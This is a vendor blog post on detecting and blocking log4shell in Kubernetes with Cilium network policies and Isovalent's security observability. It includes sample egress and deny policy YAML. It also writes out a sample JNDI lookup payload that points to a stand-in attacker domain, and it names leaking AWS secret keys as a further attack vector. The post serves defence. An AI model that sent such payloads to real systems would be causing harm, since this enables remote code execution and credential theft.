Detecting and Blocking log4shell with Isovalent Cilium Enterprise

By now, you’ve probably heard of the log4j vulnerability CVE-2021-44228 which is being called “log4shell”. The wide range of products, projects, and vendors that are vulnerable continue to grow and identifying and patching these systems will likely take a very long time. Hugops to the Detection and Response teams working hard on patching and remediating these systems to make the Internet a safe place.

But until patching is broadly completed, a serious question remains: How can we be sure that our Kubernetes workloads running are safe and how can we detect if we’ve been compromised?

In this post we’ll explore not just how Cilium network policies can protect against log4j exploitation, but also how Isovalent’s eBPF-based security observability can detect the attempted exploit.

The Vulnerability

The log4shell vulnerability is particularly dangerous due to three factors

The ease of exploitation (you just pass an app a string and host a domain with an exploit)
The ubiquitous nature of log4j
It enables arbitrary remote code execution (RCE)

If you’re unfamiliar with the specifics behind the attack, the vulnerability is due to log4j parsing logs and attempting to resolve the data and variables in its input. The JNDI lookup mechanism allows variables to be fetched and resolved over a network, including to arbitrary entities on the Internet. To compromise an application with a vulnerable version of log4j you can just send an app a customized string containing a log4j JDNI lookup such as:

${jndi:ldap://not-a-remote-shell.com/legit}

This causes log4j to attempt to resolve the variable and load a malicious Java class file from the attacker owned not-a-remote-shell.com.

What Can We Do?

While patching all of the systems that have log4j dependencies is ongoing, there are some simple mitigations you can employ to defend from log4shell attacks. Because log4j fetches malicious variables over the network, filtering your workload’s egress connections with Network Policy is a simple, yet powerful mitigation (and drastically improves protections against similar attacks in the future). The challenge of applying Network Policy can be its default deny behavior, where allowing connections must be explicitly defined, otherwise they are dropped. This can cause a self-inflicted DoS if handled incorrectly.

Cilium Network Policy

Fortunately, Cilium provides a few possible ways to safely apply a least privilege Network Policy:

DNS based policy allows traffic based on a fully qualified domain name, such as api.twitter.com, in place of using IP CIDR addresses or specific endpoints
Using hubble observability to generate Network Policy. Hubble can observe all network traffic to and from a pod, and we can generate observability-driven Network Policy automatically to allow only valid connections the pod needs
Cilium supports Denylists. Denylists can define a set of destinations that will be denied by policy and dropped, while allowing all other network traffic. We’ll invoke a powerful component of Cilium Network Policy for our Denylist, which is the “world” entities concept that defines hosts on the Internet

DNS Policy

DNS Network Policies removes the challenge of creating egress policies based on IP addresses that are dynamic or specifying a wide CIDR range which could include endpoints that are outside of the scope of your target. For example, if an application needs to connect to api.twitter.com and kube-dns as part of its normal duties but we want to block everything else, we can employ a DNS “fqdn” egress policy:

apiVersion: 'cilium.io/v2'
kind: CiliumNetworkPolicy
metadata:
  name: 'fqdn'
spec:
  endpointSelector:
    matchLabels:
      org: java
      class: api-interface
  egress:
    - toFQDNs:
        - matchName: 'api.twitter.com'
    - toEndpoints:
        - matchLabels:
            'k8s:io.kubernetes.pod.namespace': kube-system
            'k8s:k8s-app': kube-dns
      toPorts:
        - ports:
            - port: '53'
              protocol: ANY
          rules:
            dns:
              - matchPattern: '*'
 -- additional rules here ---

A denylist specifies IPs that a given set of workloads cannot connect to. For example, if we wanted to deny all pods in a cluster from having free connectivity to the Internet, we could apply the following Deny Policy:

apiVersion: 'cilium.io/v2'
kind: CiliumClusterwideNetworkPolicy
metadata:
  name: 'external-lockdown'
spec:
  endpointSelector: {}
  egressDeny:
    - toEntities:
        - 'world'
  egress:
    - fromEntities:
        - 'all'
-- additional rules here ---

The examples above mitigate the log4j vulnerability. However, if you’re new to crafting Network Policy, fear not! We’ve made creating Network Policies easier than ever in Isovalent Cilium Enterprise with the integrated, interactive Network Policy editor.

Please note that Network Policies are a very powerful tool to protect your Kubernetes workloads, however applied incorrectly, they can cause connectivity issues. The examples in this post are just that, examples. We recommend creating Network Policies interactively in hubble-ui or based on hubble observability and test them thoroughly before deploying them to production. If you need help getting Network Policies right, we’re here to help!

Security Observability

If you’re unsure about making changes to pod network connectivity via Network Policy and just want to have peace of mind that your systems haven’t been exploited, Isovalent Cilium Enterprise Security Observability can export crucial security related events to your SIEM. This includes

Full process lifecycle for pods, and host processes
All ingress and egress network connections from pods and host processes
DNS requests
File access from pods and host processes
TLS information for all connections such as SNI

Here, we’ll look at a simplified example that shows a network connection from a workload running log4j to an untrusted external IP address, including the amount of data for that connection:

The process_close event seen here is generated when a TCP socket is closed. This event contains information related to outbound and inbound connections made by a particular process, including the source and destination IP/port, the binary image that was executed, command-line arguments, full process ancestry information, process start time and the Kubernetes namespace and Pod name related to the connection.

Leaking Server Environment Variables

An additional attack vector from log4shell includes leaking environment variables, such as env.AWS_SECRET_ACCESS_KEY. Given the sensitive nature of environment variables—and given that applications reference them automatically—monitoring for dumping environment variables is another feature of Isovalent Cilium Security Observability. Here’s an event from a leaked environment variable from our crawler app.

With this information we can enable our security teams to identify core pieces of our infrastructure that need remediation.

Conclusion

The log4shell vulnerability will continue to reverberate across the landscape for a long time. This certainly isn’t the last vulnerability we’ll see in a critical OSS library. Security Observability and egress blocking aren’t new but they’re essential tools for past and future vulnerabilities. There’s never been a better time to secure your cloud-native stack and Isovalent is here to help.

Next steps

If you want to learn more about Isovalent Cilium Enterprise, the open source project Cilium or the underlying technology eBPF, join us for an “Ask Me Anything” with one of our technical experts:

Also make sure to check out: